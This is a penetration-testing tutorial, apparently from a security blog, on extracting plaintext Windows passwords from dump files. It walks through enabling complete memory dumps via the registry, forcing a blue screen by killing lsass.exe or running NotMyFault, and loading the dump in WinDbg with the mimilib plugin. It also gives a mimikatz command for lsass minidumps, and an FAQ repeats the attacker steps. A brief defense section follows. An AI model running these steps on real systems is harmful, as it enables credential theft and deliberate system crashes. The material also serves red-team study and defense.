Penetration Techniques - Extracting Passwords from Dump Files Using Mimilib

Onedaysec
5 min read
1 views
docx image 1770017288059 0 d6869dfee9

0x00 Preface

---

The previous article 'Analysis of Mimilib Exploitation' mentioned that mimilib can be used as a WinDbg plugin. This article will detail the usage of this plugin to extract passwords from kernel-mode dump files, and provide defense recommendations based on exploitation approaches.

0x01 Introduction

---

This article will cover the following:

  • Classification of dump files
  • Two methods for extracting dump files
  • WinDbg environment configuration
  • Exploitation approaches
  • Defense recommendations

0x02 Classification of dump files

---

Dump files are divided into the following two categories:

1.User-Mode Dump File

User-mode dump files, which are divided into the following two types:

  • Full User-Mode Dumps
  • Minidumps

Simple understanding: Usually targets a single process

Additional references:

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/user-mode-dump-files

Creation method:

Can be created using Procdump

Method for extracting passwords from user-mode dump files:

Refer to the previous article 'Penetration Basics - Extracting Credentials from the lsass.exe Process'

2.Kernel-Mode Dump Files

Kernel-mode dump files, which are divided into the following five types:

  • Complete Memory Dump
  • Kernel Memory Dump
  • Small Memory Dump
  • Automatic Memory Dump
  • Active Memory Dump

Simple understanding: includes information of all processes

Creation method:

Enable the dump file creation feature, which will automatically create when the system crashes (BSOD)

Additional references:

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/kernel-mode-dump-files

0x03 Method for extracting passwords from kernel-mode dump files

---

Process is as follows:

1. Enable the dump file feature

2. Force a system blue screen (BSOD), the system will automatically create a kernel-mode dump file

3. Use WinDbg to load the dump file, call mimilib to extract plaintext passwords

Specific issues to note:

1. Enable dump file functionality

Corresponding registry location: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl, registry entry CrashDumpEnabled, type REG_DWORD

The functions corresponding to the values are as follows:

  • 0 indicates not enabled
  • 1 indicates complete memory dump
  • 2 indicates kernel memory dump
  • 3 indicates automatic memory dump

The cmd command to view this registry entry is as follows:

reg query hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled

Here, the key value needs to be set to 1 to enable the complete memory dump functionality; otherwise, when using WinDbg to access the memory of the lsass.exe process, it will prompt an invalid page directory, as shown in the figure below

1. Enable dump file functionality — technical illustration 1

The cmd command to modify this registry entry is as follows:

reg add hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled /t REG_DWORD /d 1 /f

2. Force a system blue screen (BSOD)

(1) Cause BSOD by terminating a process with the critical process attribute

The system processes that are critical by default are as follows:

  • csrss.exe
  • lsass.exe
  • services.exe
  • smss.exe
  • svchost.exe
  • wininit.exe

You can also set a specified process as a critical process first; terminating this process will also cause a BSOD.

For specific details, refer to the previous article 'Analysis of Exploitation Causing BSOD by Terminating Processes'.

(2) Using NotMyFault

Download link:

https://docs.microsoft.com/en-us/sysinternals/downloads/notmyfault

The command to trigger a blue screen (BSOD) is as follows:

notmyfault.exe -accepteula /crash

Note:

NotMyFault also supports suspending the current system with the following command:

notmyfault.exe -accepteula /hang

By default, the system will automatically reboot after a Blue Screen of Death (BSOD) and generate the file c:\windows\MEMORY.DMP

3. Use WinDbg to load MEMORY.DMP

Note:

WinDbg can be automatically installed after installing the SDK

Reference:

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/debugger-download-tools

Using WinDbg, select Open Crash Dump and choose MEMORY.DMP

The command to obtain detailed dump file information is as follows:

!analyze -v

Error prompt: Kernel symbols are WRONG. Please fix symbols to do analysis.

As shown in the figure below

3. Use WinDbg to load MEMORY.DMP — technical illustration 2

Here, the symbol files need to be fixed. You can choose from the following three solutions:

(1) using the _NT_SYMBOL_PATH environment variable.

Add environment variable:

set _NT_SYMBOL_PATH=srv*c:\mysymbol*https://msdl.microsoft.com/download/symbols

(2) using the -y argument when starting the debugger.

Launch WinDbg with specified parameters

windbg.exe -y SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

(3) using .sympath and .sympath+

Add Symbol File Path

WinDbg command line operation:

.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

Can also be done via the interface

File->Symbol File Path ...

Enter SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols

After setup, required symbol files will automatically download from the Microsoft public symbol server

Reload:

.Reload

Test:

!process 0 0 lsass.exe

Loaded normally, as shown in the figure below

(3) using .sympath and .sympath+ — technical illustration 3

If this part still fails, try using a VPN to connect to the internet

If the test environment cannot connect to the internet, symbol files can be downloaded by obtaining manifest files via SymChk

Reference:

https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/using-a-manifest-file-with-symchk

Execute on computer A (without internet connection):

SymChk /om c:\Manifest\man.txt /id c:\test\MEMORY.DMP

Obtain the file c:\Manifest\man.txt, copy it to computer B (with internet connection), and execute the following command on computer B:

SymChk /im c:\test\man.txt /s srv*c:\mysymbolNew*https://msdl.microsoft.com/download/symbols

A new folder c:\mysymbolNew will be generated. Copy it to computer A, start WinDbg on computer A, and specify the new symbol file location as c:\mysymbolNew with the following command:

.symfix c:\mysymbolNew

Test:

.Reload
!process 0 0 lsass.exe

Loaded normally, as shown in the figure below

(3) using .sympath and .sympath+ — technical illustration 4

4. Load mimilib plugin

Refer to the previous article 'Mimilib Utilization Analysis'

(1) Method 1

Save mimilib.dll to the winext directory of WinDbg

The saved path in my test environment (Server2012R2x64) is: C:\Program Files\Debugging Tools for Windows (x64)\winext

Start WinDbg

The command to load the plugin is as follows:

.load mimilib

(2) Method 2

Directly load the absolute path of mimilib, example as follows:

.load c:\test\mimilib

In summary, the complete command to set up the configuration environment and export passwords is as follows:

.sympath SRV*c:\mysymbol*http://msdl.microsoft.com/download/symbols
.reload
!process 0 0 lsass.exe
.process 890f4530
.load c:\test\mimilib
.reload
!mimikatz

The complete process is shown in the following figure:

(2) Method 2 — technical illustration 5

(2) Method 2 — technical illustration 6

To save the output results to a file, you can use the following command:

.logopen c:\test\log.txt
!mimikatz
.logclose

0x04 Exploitation Approach

---

1. Extracting passwords from user-mode dump files

Obtain a dump file of the lsass.exe process via the API MiniDumpWriteDump()

Use mimikatz to extract passwords from the dump file with the following command:

mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

2. Extracting passwords from kernel-mode dump files

Enable the dump file functionality

Force a system Blue Screen of Death (BSOD)

Load the dump file using WinDbg and invoke mimilib to export plaintext passwords

0x05 Defense Recommendations

---

1. Extracting passwords from user-mode dump files

Intercept the behavior of the API MiniDumpWriteDump(); some security products already support this feature

2. Extracting passwords from kernel-mode dump files

Enable dump encryption

References:

https://docs.microsoft.com/en-us/windows-server/virtualization/hyper-v/manage/about-dump-encryption

Note:

If an attacker gains administrator privileges on the system, they can disable dump encryption

0x06 Summary

---

This article introduced methods for extracting passwords from user-mode dump files and kernel-mode dump files, and provided defense recommendations based on exploitation techniques

Related Questions & Answers

Why are symbol files necessary when using WinDbg to analyze kernel dumps, and how can they be obtained offline?

Symbol files map memory addresses to function and variable names, which WinDbg requires to correctly parse the dump and enable mimilib's password extraction. Without them, WinDbg shows errors like 'Kernel symbols are WRONG'. Symbols can be downloaded automatically by setting `_NT_SYMBOL_PATH` to `srv*c:\mysymbol*https://msdl.microsoft.com/download/symbols`. For offline environments, use SymChk on a connected machine to generate a manifest file, then download symbols and copy them to the target system. This process is covered in the original article [Penetration Techniques - Extracting Passwords from Dump Files Using Mimilib](/news/penetration-techniques-extracting-passwords-from-dump-files-using-mimilib).

What registry setting is needed to enable complete memory dumps, and how can a blue screen be triggered?

To enable complete memory dumps, set `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\CrashControl\CrashDumpEnabled` to 1 (REG_DWORD). This can be done with the command `reg add hklm\SYSTEM\CurrentControlSet\Control\CrashControl /v CrashDumpEnabled /t REG_DWORD /d 1 /f`. A BSOD can be forced by terminating a critical process like `lsass.exe` or by using Sysinternals' NotMyFault with the `/crash` switch. After the crash, the dump file is created at `c:\windows\MEMORY.DMP`. For more on credential extraction from remote sessions, see [Penetration Technique - Extracting User Plaintext Passwords via CredSSP](/news/penetration-technique-extracting-user-plaintext-passwords-via-credssp).

What are the differences between user-mode and kernel-mode dump files in password extraction?

User-mode dump files target a single process (like lsass.exe) and can be created with tools such as Procdump or the `MiniDumpWriteDump()` API; passwords are extracted using mimikatz directly on the dump. Kernel-mode dump files contain information from all processes and are generated automatically on system crash (BSOD). Extracting passwords from kernel-mode dumps requires WinDbg, proper symbol files, and the mimilib plugin. For user-mode dump extraction, see the related article [Penetration Techniques - Extracting Plaintext Credentials from Remote Desktop Client](/news/penetration-techniques-extracting-plaintext-credentials-from-remote-desktop-client).

How can an attacker extract passwords from a kernel-mode dump file using mimilib?

An attacker first enables the complete memory dump feature by setting the registry key `CrashDumpEnabled` to 1, then forces a Blue Screen of Death (BSOD) using tools like NotMyFault or by terminating a critical process such as `lsass.exe`. After the system reboots, the file `c:\windows\MEMORY.DMP` is created. The attacker loads this dump file in WinDbg, configures symbol paths, loads the mimilib plugin, and runs the `!mimikatz` command to extract plaintext credentials. This technique is detailed in the article [Penetration Techniques - Extracting Passwords from Dump Files Using Mimilib](/news/penetration-techniques-extracting-passwords-from-dump-files-using-mimilib).

Continue Reading